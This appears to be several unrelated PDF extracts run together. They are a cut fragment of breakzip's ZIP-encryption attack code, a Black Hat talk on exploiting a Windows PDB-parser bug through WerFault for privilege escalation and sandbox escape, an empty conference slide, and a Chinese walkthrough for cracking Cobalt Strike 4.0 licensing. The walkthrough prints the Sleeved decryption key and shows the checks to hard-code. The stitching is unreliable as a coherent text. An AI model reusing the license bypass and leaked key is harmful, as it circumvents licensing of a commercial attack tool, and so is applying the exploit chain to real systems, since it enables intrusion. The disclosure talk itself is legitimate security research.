toMapKey(msbxf0, msbyf0, msbxf1, msbyf1); if (nullptr != c && s0 == c->sx[0][0] && chunk2 == c->chunk2 && chunk3 == c->chunk3 && carries == (c->carries >> 12)) { fprintf(stderr, "MSBs: %02x, %02x, %02x, %02x, Mapkey: %08x, " "carries: %x, " "c.carries: %04x\n", msbxf0, msbyf0, msbxf1, msbyf1, mk, carries, c->carries); } stage1a candidate = {uint8_t(s0), uint8_t(chunk2), uint8_t(chunk3), carries, msbxf0}; table[mk].push_back(candidate); } } } } } // info: the info about the archive to attack // table: the output of mitm_stage1a // candidates: an empty vector void mitm_stage1b(const archive_info &info, const vector<vector<stage1a>> &table, vector<stage1_candidate> &candidates, const correct_guess *c, size_t *correct_candidate_index) { // Second half of MITM for stage 1 bool found_correct = false; for (uint16_t s1xf0 = 0; s1xf0 < 0x100; ++s1xf0) { for (uint8_t prefix = 0; prefix < 0x40; ++prefix) { uint16_t pxf0(preimages[s1xf0][prefix]); if (nullptr != c && s1xf0 == c->sx[0][1]) { fprintf(stderr, "s1xf0: %02x, prefix: %04x ", s1xf0, pxf0); mitm_stage1.cpp 2020-07-31 - 7/9 - if ((prefix & 3) == 3) { fprintf(stderr, "\n"); } } vector<uint8_t> firsts(0); uint8_t s1yf0 = s1xf0 ^ info.file[0].x[1] ^ info.file[0].h[1]; second_half_step(pxf0, s1yf0, firsts); if (!firsts.size()) { continue; } for (uint16_t s1xf1 = 0; s1xf1 < 0x100; ++s1xf1) { vector<uint8_t> seconds(0); second_half_step(pxf0, s1xf1, seconds); if (!seconds.size()) { continue; } vector<uint8_t> thirds(0); uint8_t s1yf1 = s1xf1 ^ info.file[1].x[1] ^ info.file[1].h[1]; second_half_step(pxf0, s1yf1, thirds); if (!thirds.size()) { continue; } for (auto f : firsts) { for (auto s : seconds) { for (auto t : thirds) { uint32_t mapkey(f | (s << 8) | (t << 16)); for (stage1a candidate : table[mapkey]) { stage1_candidate g; g.chunk2 = candidate.chunk2; g.chunk3 = candidate.chunk3; g.cb1 = candidate.cb; g.m1 = (candidate.msbk11xf0 * 0x01010101) ^ mapkey; // Get ~4 possible solutions for lo24(k20) = // chunks 1 and 4 // A B C D k20 // ^ E F G H crc32tab[D] // ---------- // I J K L crck20 // ^ M N O P crc32tab[msbk11xf0] // ---------- // Q R S T (pxf0 << 2) matches k21xf0 // Starting at the bottom, derive 15..2 of KL // from 15..2 of ST and OP uint16_t crck20 = ((pxf0 << 2) ^ mitm_stage1.cpp 2020-07-31 - 8/9 - crc32tab[candidate.msbk11xf0]) & 0xfffc; // Now starting at the top, iterate over 64 // possibilities for 15..2 of CD for (uint8_t i = 0; i < 64; ++i) { uint32_t maybek20 = (preimages[candidate.s0][i] << 2); // and 4 possibilities for low two bits of D for (uint8_t lo = 0; lo < 4; ++lo) { // CD maybek20 = (maybek20 & 0xfffc) | lo; // L' = C ^ H uint8_t match = (maybek20 >> 8) ^ crc32tab[maybek20 & 0xff]; // If upper six bits of L == upper six // of L' then we have a candidate if ((match & 0xfc) == (crck20 & 0xfc)) { // KL ^ GH = BC. (B = BC >> 8) & // 0xff. uint8_t b = ((crck20 ^ crc32tab[maybek20 & 0xff]) >> 8) & 0xff; if (g.k20_count >= g.MAX_K20S) { fprintf(stderr, "Not enough space for " "k20 candidate in " "stage1_candidate.\n"); abort(); } // BCD = (B << 16) | CD g.maybek20[g.k20_count] = (b << 16) | maybek20; g.k20_count += 1; } } } if (0 == g.k20_count) { continue; } candidates.push_back(g); mitm_stage1.cpp 2020-07-31 - 9/9 - if (nullptr != c && s1xf0 == c->sx[0][1] && s1xf1 == c->sx[1][1] && candidate.s0 == c->sx[0][0] && candidate.chunk2 == c->chunk2 && candidate.chunk3 == c->chunk3 && candidate.cb == (c->carries >> 12)) { found_correct = true; fprintf(stderr, "Correct candidates index = %lx\n", candidates.size() - 1); if (nullptr != correct_candidate_index) { *correct_candidate_index = candidates.size() - 1; } } } } } } } } } if (c != nullptr && !found_correct) { fprintf(stderr, "Failed to use correct guess: s1xf0 = %02x, s1xf1 = %02x\n", c->sx[0][1], c->sx[1][1]); } fprintf(stderr, "Stage 1 candidates.size() == %04lx\n", candidates.size()); } }; // namespace mitm_stage1 7/31/2020 pyrofex / breakzip · GitLab https://gitlab.com/pyrofex/breakzip 1/3 f2e30c52
pdf
#BHUSA   @BlackHatEvents Crashing Your Way to Medium-IL: Exploiting the PDB Parser for Privilege Escalation Gal De Leon (@galdeleon) Palo Alto Networks Who am I? ● Gal De Leon (@galdeleon) ● Principal security researcher at Palo Alto Networks ● Interested in fuzzing, vulnerabilities, exploits and mitigations ● Microsoft MSRC MVSR 2018, 2019, 2020 ○ ~40 vulnerabilities 2 Agenda ● What are PDBs? ● Finding vulnerabilities in PDB parser ● Attack surfaces ● Exploit & Demo 3 ● Store debugging info (symbols) about an executable ● Function names, globals, type info … ● Created from source files during build ● Used by debuggers What are PDB Files? 4 0:007> .reload /f notepad.exe 0:007> x notepad!* 00007ff7`9b4c4520 notepad!__scrt_uninitialize_thread_safe_statics (void) 00007ff7`9b4a86b0 notepad!ShowOpenSaveDialog (void) 00007ff7`9b4c09e8 notepad!StringLengthWorkerW (void) 00007ff7`9b4c38e0 notepad!initialize_printf_standard_rounding (void) 00007ff7`9b4a1640 notepad!`dynamic initializer for 'szFileName'' (void) ... The PDB File Format ● Proprietary file format by Microsoft ○ Binary ○ Multi Stream Format (MSF) ● Open sourced for non-MS compilers to produce PDBs ● Parser implemented in Dbghelp.dll ○ Shipped by default ○ API to debug a process, load PDBs, extract symbols data ... 5 Let’s Fuzz PDB 6 Fuzzing Setup 7 ● Corpus - ~5000 PDBs from several sources ● Test Harness - A program that loads a PDB file and parse it ○ Dbghelp!SymLoadModule ● WinAFL fuzzer Corpus Mutator Run Harness Crashes Start Repeat 8 What is the Attack Surface? ● Remote symbols servers ● Attacker controls / MitM symbols server can serve arbitrary PDBs 9 0:007> .sympath srv*http://msdl.microsoft.com/download/symbols Symbol search path is: srv*http://msdl.microsoft.com/download/symbols Expanded Symbol search path is: srv*http://msdl.microsoft.com/download/symbols 0:007> .reload /f notepad.exe Victim Debugger Symbol Server Attacker (MitM) Report to Microsoft MSRC ● 18-08-2020 - Initial report to Microsoft MSRC ● 15-09-2020 - Doesn’t meet the bar for security servicing ○ Attack surface is too complex 11 “... In this case, Microsoft has decided that it will not be fixing this vulnerability in the current version and we are closing this case. In order to exploit this an attacker would need to control the symbol server or MitM the connection. Then the victim would have to load a PDB from the server. At this time, you are able to blog about/discuss this case and/or present your findings publicly about the current version. …” Other Attack Surfaces ● Other components that use Dbghelp.dll to parse PDBs ○ How about elevation of privileges? ● Text-search ‘Dbghelp.dll’ in all binaries under C:\Windows ○ Appverif.exe, appverifUI.dll, comsvcs.dll, devinv.dll, taskkill.exe … faultrep.dll, wer.dll ● WER uses Dbghelp.dll! ○ I already discovered ~15 vulnerabilities in WER... Check out my BlueHatIL talk 12 Windows Error Reporting Recap ● WER collects info regarding crashes / hangs and reports to Microsoft ● Process crash -> WerFault.exe worker is launched 13 svchost.exe (WerSvc) Process.exe ALPC WerFault.exe Parent: Process.exe Child: WerFault.exe CreateProcessAsUser() How Does WerFault.exe Use Dbghelp.dll? ● Parse the stacktrace of the crashing thread ● Add stacktrace hash to error report ○ Allows Microsoft to group crashes by stacktrace 14 long long UtilGetStackTrace(long ProcessId, long ThreadId) { /* ... */ HANDLE CrashingProc = OpenProcess( PROCESS_ALL_ACCESS, 0, ProcessId); SymInitialize(CrashingProc, NULL, fInvadeProcess=TRUE); /* ... */ for ( ... ) { StackWalk(); } 15 WerFault.exe Permissions ● Usually WerFault.exe runs with the same privileges of the crashing process ● One exception: Low-IL crash -> Medium-IL WerFault.exe 16 ● ILs restrict processes running under the same user account Integrity Levels (IL) 17 ● Low-IL is used for sandboxing ○ E.g. iexplore renderers run under Low-IL ● Browser exploit chains: renderer RCE -> sandbox escape/EoP What’s the Game Plan? 18 ● Elevate privileges from Low-IL to Medium-IL Process.exe (Low) LoadSymbol WriteFile Process.exe (Low-IL) WerFault.exe (Medium-IL) crash.pdb ● From Low-integrity process: ○ Write malformed PDB file to disk ○ Crash my own process (Low-IL) ○ WerFault.exe (Medium-IL) launches ○ WerFault.exe loads malformed PDB file ■ Exploit PDB parsing bug for EoP Load PDBs From Arbitrary Paths ● Cannot write to most paths as Low-IL ○ C:\users\gdeleon\AppData\LocalLow directory (%AppData%\LocalLow) ● How to get WerFault.exe to load PDB from %AppData%\LocalLow? ● PdbFilePath in PE / Executable header ○ Run my own EXE, point PdbFilePath to %AppData%\LocalLow 19 struct CV_INFO_PDB20 { CV_HEADER CvHeader; DWORD Signature; DWORD Age; BYTE PdbFilePath[]; }; 20 (91c.1024): Access violation - code c0000005 (first chance) 6dd52abe mov eax,dword ptr [ebx+164h] ds:002b:08007e6e=???????? 0:000> k ChildEBP RetAddr 02b8a4ec 6dd4ac82 dbghelp!ModCache::pbSyms+0xe ... 02b8f7f0 0072ceaf faultrep!WerpInitiateCrashReporting+0x40f 02b8f838 007039cd WerFault!UserCrashMain+0x2b1 02b8f878 007419a0 WerFault!wmain+0x13e Dbghelp.dll Bug 21 DbgHelp!SymCache::PsymForImodOff 22 int Index = …; /* Read from PDB file */; /* Certain checks on Index */; Object* Obj = ObjectsArray[Index - 1]; Obj->VirtualFunctionCall(); DbgHelp!SymCache::PsymForImodOff ● The bug - Index is allowed to be equal to 0 ○ Type confusion 23 int Index = …; /* Read from PDB file */; /* Certain checks on Index */; Object* Obj = ObjectsArray[Index - 1]; Obj->VirtualFunctionCall(); -1 0 1 2 ?? Obj0 Obj1 Obj2 int Index = 0; /* Read from PDB file */; /* Certain checks on Index */; Object* Obj = ObjectsArray[Index - 1]; Obj->VirtualFunctionCall(); What’s on Index -1? ● ObjectsArray is allocated on the heap ● There’s a heap header prior to every heap allocation ○ Metadata about the allocation 24 -1 0 1 2 Heap Header Obj0 Obj1 Obj2 Heap Header Structure (32 bit) ● 8 bytes header prior to every heap allocation ○ Low DWORD part is confused with Object* 25 -2 -1 0 Header High Header Low Obj1 0:000> dt -t _HEAP_ENTRY +0x000 UnpackedEntry : _HEAP_UNPACKED_ENTRY +0x000 Size : Uint2B +0x002 Flags : UChar +0x003 SmallTagIndex : UChar +0x004 PreviousSize : Uint2B +0x006 SegmentOffset : UChar +0x007 UnusedBytes : UChar Heap Encoding ● ‘Security-cookie’ to prevent heap overrun exploits ○ Header XOR random key (_HEAP->Encoding) ● 8-bytes key generated per heap at runtime (ntdll!RtlpCreateHeapEncoding) ● Part of the key is always set zero! ■ 2 high bytes of the second dword ○ Remains cleartext (X ^ 0 = X) 26 0:000> dt -t _HEAP ntdll!_HEAP +0x050 Encoding 0:000> dd 01360000+50 L2 01360050 18be3a5a 00006ab6 Is the Heap Header Value Predictable? ● Encoded header example: AAAAAAAA XXYYBBBB ○ XXYYBBBB => Fake Object* ● MSB (XX) meaning is UnusedBytes ○ Diff between malloc(size) and actual chunk size ○ Remains cleartext (XX ^ 0) 27 ● ObjectArray is a small allocation ○ 12 bytes ● UnsuedBytes is predictable ○ 0x18 ● Fake Object* is a low usermode address ○ 0x18XXXXXX 0:000> dt -t _HEAP_ENTRY +0x000 UnpackedEntry +0x000 Size : Uint2B +0x002 Flags : UChar +0x003 SmallTagIndex : UChar +0x004 PreviousSize : Uint2B +0x006 SegmentOffset : UChar +0x007 UnusedBytes : UChar 28 Heap Header 0 1 2 0x18XXXXXX Obj0 Obj1 Obj2 Object VPTR Func1 Func2 ... Control this value Control this value int Index = 0; Object* Obj = ObjectsArray[0 - 1 = -1]; Obj->Func2(); MOV eax, [ecx] ; Obtain vptr CALL [eax + 4] ; Call vfunc 29 32Bit Crash? 32Bit WerFault! ● 32bit process crash -> 32bit WerFault.exe ○ Much easier to spray in 32bit ○ Allocators more predictable Spray Primitive ● Goal: Spray WerFault.exe address space from crashing process (Low-IL) ● Dbghelp!SymInitialize loads PDBs for all loaded module ○ PDB #1 - Spray ○ PDB #2 - Trigger vulnerability ● How to spray from PDB #1? ○ Very large PDB file ○ Entire PDB is mapped using kernel32!MapViewOfFile ■ kernel32!MapViewOfFile is predictable (64k alignment) ○ Dbghelp doesn’t unmap invalid PDBs ■ When bug is triggered (PDB #2) sprayed memory (PDB #1) is in place 30 Process.exe (Low-IL) Spray.pdb WriteFile WerFault.exe (Medium-IL) 0 ffffffff WerFault.exe Address Space SymInitialize Trigger.pdb Spray.pdb Spray Trigger.pdb Trigger Heap Header Objs Array Obj Process.exe (Crashed) 0:000:x86> ub dbghelp!ModCache::pbSyms+0xe9: 701e2f39 8b8354010000 mov eax,dword ptr [ebx+154h] 701e2f3f 8bb88c000000 mov edi,dword ptr [eax+8Ch] 701e2f45 8b07 mov eax,dword ptr [edi] 701e2f47 8b7078 mov esi,dword ptr [eax+78h] 701e2f4a 8bce mov ecx,esi 701e2f4c ff1568243370 call dword ptr [dbghelp!__guard_check_icall_fptr] 701e2f52 8bcf mov ecx,edi 701e2f54 ffd6 call esi 0:000:x86> .frame 0 00 006fe2e0 701e2f56 0x0e0e0e0e 33 Where to Call to? ● Problem: CFG is enabled on WerFault.exe ○ CFI mitigation to prevent ROP/code-reuse attacks ○ Can only call CFG valid call targets ● kernel32!LoadLibrary is a valid CFG target! ○ Load DLL from ‘%AppData%\LocalLow’ and run payload for entrypoint ● ASLR is not an issue ○ DLLs loaded at same address regardless of IL ○ Fetch kernel32!LoadLibrary address at runtime (Low-IL) ■ Write it to spray.pdb ● How to control kernel32!LoadLibrary argument? ○ Different calling conventions Dbghelp Gadget (Arguments Reorder) 34 virtual long __thiscall DbhStackServices::GetSegmentDescriptor(..) mov edi, edi push ebp mov ebp, esp … mov edi, ecx ; Put ‘this’ in edi (‘this’=0x0c0c0c0c) push 0 push 2Ch ; ',' mov esi, [edi+0Ch] ; Get next virtual func address, from ‘edi+0Ch’ mov ecx, esi push dword ptr [edi+4] ; Push an argument on stack, from ‘edi+4’ call ds:___guard_check_icall_fptr call esi Demo #1 35 Escape Internet Explorer EPM Sandbox 36 ● Enhanced Protected Mode - Low IL+AppContainer ○ iexplore.exe(Low+AC) -> WerFault.exe(Medium) ● PDB bug behaves differently ○ Fake Object*/_HEAP_ENTRY points to a kernel-mode address ■ LFH - _HEAP_ENTRY struct is different (ExtendedBlockSignature vs UnusedBytes) (b00.990): Access violation - code c0000005 (first chance) dbghelp!ModCache::pbSyms+0xe: 6db12abe 8b8364010000 mov eax,dword ptr [ebx+164h] ds:002b:880002d8=???????? 0:000> dd @edx-4 L4 007306ec 88000174 007076c0 007316f8 00731878 0:000> !heap -x @edx Entry User Size PrevSize Unused Flags ----------------------------------------------------------------- 007306e8 007306f0 0 - 8 LFH;busy Escape Internet Explorer EPM Sandbox ● Process creation is allowed from IE’s sandbox ● Create a child process and exploit the bug from there ○ iexplore.exe(Low+AC) -> exploit.exe(Low+AC) -> WerFault.exe(Medium) 37 Demo #2 38 Microsoft Fix (CVE-2021-24090 / KB5000802) 39 ● WerFault.exe no longer parses PDB files ○ dbghelp!SymSetExtendedOption ○ (IMAGEHLP_EXTENDED_OPTIONS)3 = LOAD_SYMBOLS_DISABLED SymSetExtendedOption(3, TRUE); v33_Ret = SymInitialize(v11_CrashingProc, NULL, TRUE); WerFault.exe: if (SymGetExtendedOption(3)) { _pwprint(L”load symbols is disabled!\n”); return 4; } Dbghelp.dll: Takeaways ● Fuzzing is very efficient for the right targets ● Exploit works despite all mitigations ○ 32bit compatibility layer isn’t as strongly mitigated ● One bug, multiple attack surfaces 40 @galdeleon
pdf
All your Sploits (and Servers) are belong to us. Echelon One Executive Security Intelligence We are: David Mortman CSO in Residence, Echelon One Rich Mogull Securosis Chris Hoff Unisys Robert "RSnake" Hansen CTO, SecTheory Robert Graham CTO, Errata Security David Maynor CTO, Errata Security 04/04/2008 Echelon One, LLC 3 Thanks! Q&A
pdf
想要理解整个认证过程,必须要动手走一轮代码。 想要理解整个认证过程,必须要动手走一轮代码。 想要理解整个认证过程,必须要动手走一轮代码。 想要理解整个认证过程,必须要动手走一轮代码。 想要理解整个认证过程,必须要动手走一轮代码。 想要理解整个认证过程,必须要动手走一轮代码。 0x00 前言 前几天搞好了 CS 4.1 的 key 填充,但是文章一直没有捋出来,周末抓了个时间,捋了一捋,勉强可以通 过。 这里提供了 CS 4.0 的认证过程,个人认为非常详细,文中配备认证的流程图,可以结合文中的代码注 释,外加自己的 IDEA 调试,可以完整理解整个过程。因为 4.0 与 4.1 差了一个关键 key(前期的处理方 式也多了一个步骤),因此这里就只针对 4.0 版本的认证进行说明。 附件中提供了 CSHook.jar ,是针 对 CS 4.1 版本的,并且文章中也明确提供了适用于 CS 4.1 的完整 key(使用该 key 需要删除多余的步 骤,直接使用 4.0 的验证)。 很多人拿到原版之所以没有搞破解,是因为缺少了最重要的 Sleeved 解密 key。 其实,到了 4.X 版本, 是没有办法进行"破解"的,因为 AES 的密钥是无法进行破译 ,所以 Sleeved 解密 key 只能等好心人提 供。 CobaltStrike 4.X 的认证,如果对 Java 及密码学相关有所了解,理解起来并不难。但是对于它的破解来 说,需要一个针对 Sleeved 模块的认证 key,这个 key 是无法进行穷举的,除非想不开了。因此对于破 解来说,与其说破解,还不如说是将 key 进行补全了。 0x01 准备工作 1.1、必备知识 1.1.1、RAS 算法之加密与签名的区别 加密和签名都是为了安全性考虑,但略有不同。常有人问加密和签名是用私钥还是公钥?其实都是对加 密和签名的作用有所混淆。简单的说,加密是为了防止信息被泄露,而签名是为了防止信息被篡改。这 里举 2 个例子说明。 第一个场景:战场上,B 要给 A 传递一条消息,内容为某一指令。 RSA 的加密过程如下: 在这个过程中,只有 2 次传递过程,第一次是 A 传递公钥给 B,第二次是 B 传递加密消息给 A,即 使都被敌方截获,也没有危险性,因为只有A的私钥才能对消息进行解密,防止了消息内容的泄露。 (1)A 生成一对密钥(公钥和私钥),私钥不公开,A 自己保留。公钥为公开的,任何人可以获取。 (2)A 传递自己的公钥给 B,B 用 A 的公钥对消息进行加密。 (3)A 接收到 B 加密的消息,利用 A 自己的私钥对消息进行解密。 第二个场景:A 收到 B 发的消息后,需要进行回复“收到”。 RSA 签名的过程如下: 在这个过程中,只有 2 次传递过程,第一次是 A 传递加签的消息和消息本身给 B,第二次是 B 获取 A 的公钥,即使都被敌方截获,也没有危险性,因为只有 A 的私钥才能对消息进行签名,即使知道了消 息内容,也无法伪造带签名的回复给 B,防止了消息内容的篡改。 但是,综合两个场景你会发现,第一个场景虽然被截获的消息没有泄露,但是可以利用截获的公 钥,将假指令进行加密,然后传递给 A。第二个场景虽然截获的消息不能被篡改,但是消息的内容可以 利用公钥验签来获得,并不能防止泄露。所以在实际应用中,要根据情况使用,也可以同时使用加密和 签名,比如 A 和 B 都有一套自己的公钥和私钥,当 A 要给 B 发送消息时,先用 B 的公钥对消息加密, 再对加密的消息使用 A 的私钥加签名,达到既不泄露也不被篡改,更能保证消息的安全性。 总结:公钥加密、私钥解密;私钥签名、公钥验签。 但是,有一个要注意的是: 1.1.2、HMAC 消息摘要算法 MAC,全称 Message Authentication Code ,也称为消息认证码(带密钥的Hash函数),通信实体 双方使用的一种验证机制,保证消息数据完整性的一种工具。 在发送数据之前,发送方首先使用通信双方协商好的散列函数计算其摘要值。在双方共享的会话密钥作 用下,由摘要值获得消息验证码。之后,它和数据一起被发送。接收方收到报文后,首先利用会话密钥 还原摘要值,同时利用散列函数在本地计算所收到数据的摘要值,并将这两个数据进行比对。若两者相 等,则报文通过认证。 说白了就是计算摘要的时候,需要一个秘钥 key,没有秘钥 key 就无法计算 1.1.3、AES 破解 AES 算法需要多长时间? 以 AES-128 算法为例,平均需要尝试 2^127 ≈ 1.7*10^38 个 128bit 的随机数作为密钥进行加解密运 算,方能找到正确的密钥。 常言道,“天下武功,唯快不破”;反之,天下密码,快必可破。问题是,那得有多快?我们知道,比特 币网络在全球范围内调用了非常庞大的硬件资源以达到极高的运算效率,每秒钟操作的 Hash 运算 (SHA-256)可高达 2.5644*10^19次。虽然 AES 和 SHA-256 算法并不相同,运算量也有所差异,但我 们不妨近似地用该数据估算全球人民众志成城破解 AES 算法所需要的时间。 假设 AES 的运算效率为 2.564410^19 ≈ 2^64.4753 次/秒,则进行 2^127 次 AES 运算所需要的时间为: 2^127 / 2^64.4753 ≈ 2^62.5247秒 ≈ 6.6345 10^18 秒 ≈ 1.8429 10^15 小时 ≈ 7.6789 10^13 天 ≈ 2.104 * 10^11年 ≈ 210,400,000,000 年 (1)A 生成一对密钥(公钥和私钥),私钥不公开,A 自己保留。公钥为公开的,任何人可以获取。 (2)A 用自己的私钥对消息加签,形成签名,并将加签的消息和消息本身一起传递给 B。 (3)B 收到消息后,在获取 A 的公钥进行验签,如果验签出来的内容与消息本身一致,证明消息是 A 回复 的。 当你用公钥加密的时候,需要用私钥解密。 当你用私钥加密的时候,需要用公钥解密。 1.2、运行环境 此次破解测试使用的工具及文件为: IntelliJ IDEA Community Edition 2020.1.4 Feb 22, 2020 - Cobalt Strike 4.0 使用过 IDEA 的朋友都知道,它具备反编译 Jar 包的能力。 首先,我们使用 IDEA 新建一个工程,将原始 Jar 包作为依赖进行导入,如下图所示: 此时 IDEA 将调用反编译模块,因此我们可以直接查看 jar 的源码,如图所示: 但由于单个文件点击,并不利于我们的有效查看,因此可以提取 IDEA 的反编译功能,用于对原始 Jar 包 的反编译。 下面我们进行测试,IDEA 的反编译功能依赖于 java-decompiler.jar ,该文件存在于以下路径当中: 其使用方法为: %IDEA安装目录%\plugins\java-decompiler\lib\java-decompiler.jar 将反编译后的 Jar 包进行解压,将解压的文件(带文件夹)放入 src (该步骤仅将需要更改的文件放入 即可,当然,全部放也没关系),文件夹内,如下图所示: 然后就是设置编译生成 Jar 的步骤。 在 Main Class 中填写 aggressor.Aggressor ,其余默认即可;然后尝试 Build Artifacts... , 正常情况下,则生成一个新的 Jar 包。 最后,为了方便实时预览及调试,我们需要对 Run 进行简单设置。 java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true c:\my.jar d:\decompiled\ 实践一下,是否配置都正常。出现以下信息就说明可行。 这部分内容不理解的朋友,可以去看看红队学院(知识星球)相关视频:RedCore 红队学院 CSTips 1.新建一个 run 配置 2.添加 JAR Application 3.选择运行的 Jar 包路径 4.配置启动该 Jar 包的虚拟选项 5.选择一个在执行 Run 操作时附带的操作 6.此处选择重新 Build Artiface 注意:如果不选择 5-6 步骤,则在点击 Run 前,需要手动 Build Artiface。 0x02 CS 3.X 版本的认证过程 其实,我们可以从头开始走一轮认证代码,3.X 相对简单,走下来其实不难。 主要涉及的文件: 先粗略说一下 3.X 的 .auth 整个加密过程是: 故此解密的话只需要逆向此流程即可,那么我们要伪造一个自己的授权文件的话,只需要把公钥替换为 自己的,然后使用自己的私钥对文本内容进行加密即可。因为只有在验证 GUI 和 Console 的时候需要进 行验证步骤,因此也可以直接写死 isValid() 、 isPerpetual() 和 isAlmostExpired() 的值。比 如: 4.0 相比于 3.14 版本,多了一轮新的验证及更为复杂。 0x03 CS 4 .X 版本的认证过程 之所以只说这个 CS 4.x 的认证过程,是因为该认证是在 3.X 的基础上进行改进的。 首先从主函数开始查看,第一步认证: License.checkLicenseGUI(new Authorization()); ,我们在 查看源码过程中,直接对源码进行注释即可。 common/License // license 检查逻辑 common/Authorization // 检查的细节实现 common/AuthCrypto   // RSA 解密和解压 common/CommonUtils // 相关数据类型转换辅助 先对文本进行压缩,转换为 byte 添加特征头 0xca, 0xfe, 0xc0, 0xbb,0x00, 0x43 使用 RSA 进行加密 public Authorization() {    this.valid = true;    this.validto = "forever";    this.licensekey = "Cartier";    this.watermark = 1;    MudgeSanity.systemDetail("valid to", "perpetual");    MudgeSanity.systemDetail("id", this.watermark + ""); } public class Aggressor {   public static final String VERSION = "4.0 (20200222) " + (License.isTrial() ? "Trial" : "Licensed");   public static MultiFrame frame = null;   public static MultiFrame getFrame() {      return frame;   }   public static void main(String[] var0) { 3.1、checkLicenseGUI() 该函数是 CobaltStrike 的第一道验证,主要检查授权文件是否存在、解析的数据是否正确。 首先是对 GUI 的一个验证,该验证有且仅有一次验证;它是调用 Authorization 类 中的 isValid() 、 isPerpetual() 和 isAlmostExpired() 进行校验。      ParserConfig.installEscapeConstant('c', "\u0003");      ParserConfig.installEscapeConstant('U', "\u001f");      ParserConfig.installEscapeConstant('o', "\u000f");     (new UseSynthetica()).setup();      Requirements.checkGUI();      // 认证开始      License.checkLicenseGUI(new Authorization());      frame = new MultiFrame();     (new ConnectDialog(frame)).show();   } } public static void checkLicenseGUI(Authorization var0) {    // 判断文件是否存在、有效,格式是否正确等,isValid 函数是一个 flag,默认为 false   if (!var0.isValid()) {      CommonUtils.print_error("Your authorization file is not valid: " + var0.getError());      JOptionPane.showMessageDialog((Component)null, "Your authorization file is not valid.\n" + var0.getError(), (String)null, 0);      System.exit(0);   }   // 判断是否过期   if (!var0.isPerpetual()) {      if (var0.isExpired()) {         CommonUtils.print_error("Your Cobalt Strike license is expired. Please contact [email protected] to renew. If you did renew, run the update program to refresh your authorization file.");         JOptionPane.showMessageDialog((Component)null, "Your Cobalt Strike license is expired.\nPlease contact [email protected] to renew\n\nIf you did renew, run the update program to refresh your\nauthorization file.", (String)null, 0);         System.exit(0);     }      // 计算有效期      if (var0.isAlmostExpired()) {         CommonUtils.print_warn("Your Cobalt Strike license expires in " + var0.whenExpires() + ". Email [email protected] to renew. If you did renew, run the update program to refresh your authorization file.");         JOptionPane.showMessageDialog((Component)null, "Your Cobalt Strike license expires in " + var0.whenExpires() + "\nEmail [email protected] to renew\n\nIf you did renew, run the update program to refresh your\nauthorization file.", (String)null, 1);     }   } } 而它们都依赖于 Authorization.Authorization() ,因此我们需要先对 Authorization() 进行分 析。 3.2、Authorization() 的分析过程 在 Authorization 类中,我们只需要查看 Authorization() 函数即可。 该函数主要解析授权码字段构成和有效期的计算,并且调用了 AuthCrypto 类的 decrypt 函数对文件 进行解密,详细信息请看代码注释。 isValid() // 判断文件是否存在、有效,格式是否正确等,isValid函数是一个flag,默认为false isPerpetual() // 判断 forever 关键字是否存在,存在则结束函数 isAlmostExpired() - // 计算有效期 注:这三个函数方法的返回可直接写死,以绕过验证。 public Authorization() {   // 读取当前目录中的 cobaltstrike.auth 文件   String str = CommonUtils.canonicalize("cobaltstrike.auth");   // 判断文件是否存在   if (!(new File(str)).exists()) {      try {         File localFile = new File(this.getClass().getProtectionDomain().getCodeSource().getLocation().toURI() );         if (localFile.getName().toLowerCase().endsWith(".jar")) {            localFile = localFile.getParentFile();         }         str = (new File(localFile, "cobaltstrike.auth")).getAbsolutePath();     } catch (Exception localException1) {         // 未找到该用于身份验证文件         MudgeSanity.logException("trouble locating auth file", localException1, false);     }   }   // 以 byte[]方式读取 cobaltstrike.auth 文件内容   byte[] arrayOfByte1 = CommonUtils.readFile(str);   // 判断长度,取决于文件内容   if (arrayOfByte1.length == 0) {      this.error = "Could not read " + str;   } else {      // 初始化 AuthCrypto 类,并在初始化时调用 load(),以校验 authkey.pub 文件是否符合要 求      AuthCrypto authCrypto = new AuthCrypto();      // 调用 AuthCrypto 类中的 decrypt 方法对 cobaltstrike.auth 文件内容进行解密,校验 文件是否符合要求,并返回 byte      byte[] arrayOfByte2 = authCrypto.decrypt(arrayOfByte1);      if (arrayOfByte2.length == 0) {         this.error = authCrypto.error();     } else {         try {            // 相比 3.14 版本,多了个 DateaParser,是用于解析 byte 类型数据的类            DataParser dataParser = new DataParser(arrayOfByte2);            dataParser.big(); 3.3、AuthCrypto 类 看看对 authkey.pub 及 cobaltstrike.auth 解密的类。            // 该值是用于判断是否永久有效(是否为发行版)            int i = dataParser.readInt();            // 该值应该是水印作用。该值如果为 0,则在生成的 shellcode 中会带入 cs 水印 (common/ListnerConfig.class)            this.watermark = dataParser.readInt();            // 该值是用于判断认证是否用于 Cobalt Strike 4.0+            byte j = dataParser.readByte();            // 取 16 个字节            byte k = dataParser.readByte();            // 获取关键 key,该 key是用于解密 Sleeved 的关键。            byte[] arrayOfByte3 = dataParser.readBytes(k);            if (j < 40) {               this.error = "Authorization file is not for Cobalt Strike 4.0+";               return;           }            if (i == 29999999) {               // 判断是否为 forever               this.validto = "forever";               MudgeSanity.systemDetail("valid to", "perpetual");           } else {               // 否则跳到试用期为20天               this.validto = "20" + i;               CommonUtils.print_stat("Valid to is: '" + this.validto + "'");               MudgeSanity.systemDetail("valid to", CommonUtils.formatDateAny("MMMMM d, YYYY", this.getExpirationDate()));           }            this.valid = true;            MudgeSanity.systemDetail("id", this.watermark + "");            // 4.0 的 key 为 {27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6}            SleevedResource.Setup(arrayOfByte3);         } catch (Exception localException2) {            MudgeSanity.logException("auth file parsing", localException2, false);         }     }   } } /* * 解密函数解析,主要是涉及 RSA 解密和 gzip 解压相关操作,这里作者其实是在文件头加了四个字节 * */ public final class AuthCrypto {   public Cipher cipher;   public Key pubkey = null;   protected String error = null;   public AuthCrypto() {      try {         // 构造方法中生成了一个 RSA/ECB/PKCS1Padding 的 ciper         this.cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");         this.load();     } catch (Exception var2) {         this.error = "Could not initialize crypto";         MudgeSanity.logException("AuthCrypto init", var2, false);     }   }   // Load() -> 加载公钥,验证哈希   public void load() {      // RSA 解密常规初始化操作      try {         // 读取 authkey.pub         byte[] arrayOfByte1 = CommonUtils.readAll(CommonUtils.class.getClassLoader().getResourceAsStream("reso urces/authkey.pub"));         // MD5 操作         byte[] arrayOfByte2 = CommonUtils.MD5(arrayOfByte1);         // 对比 hash,以校验 authkey.pub 文件是否符合要求         if 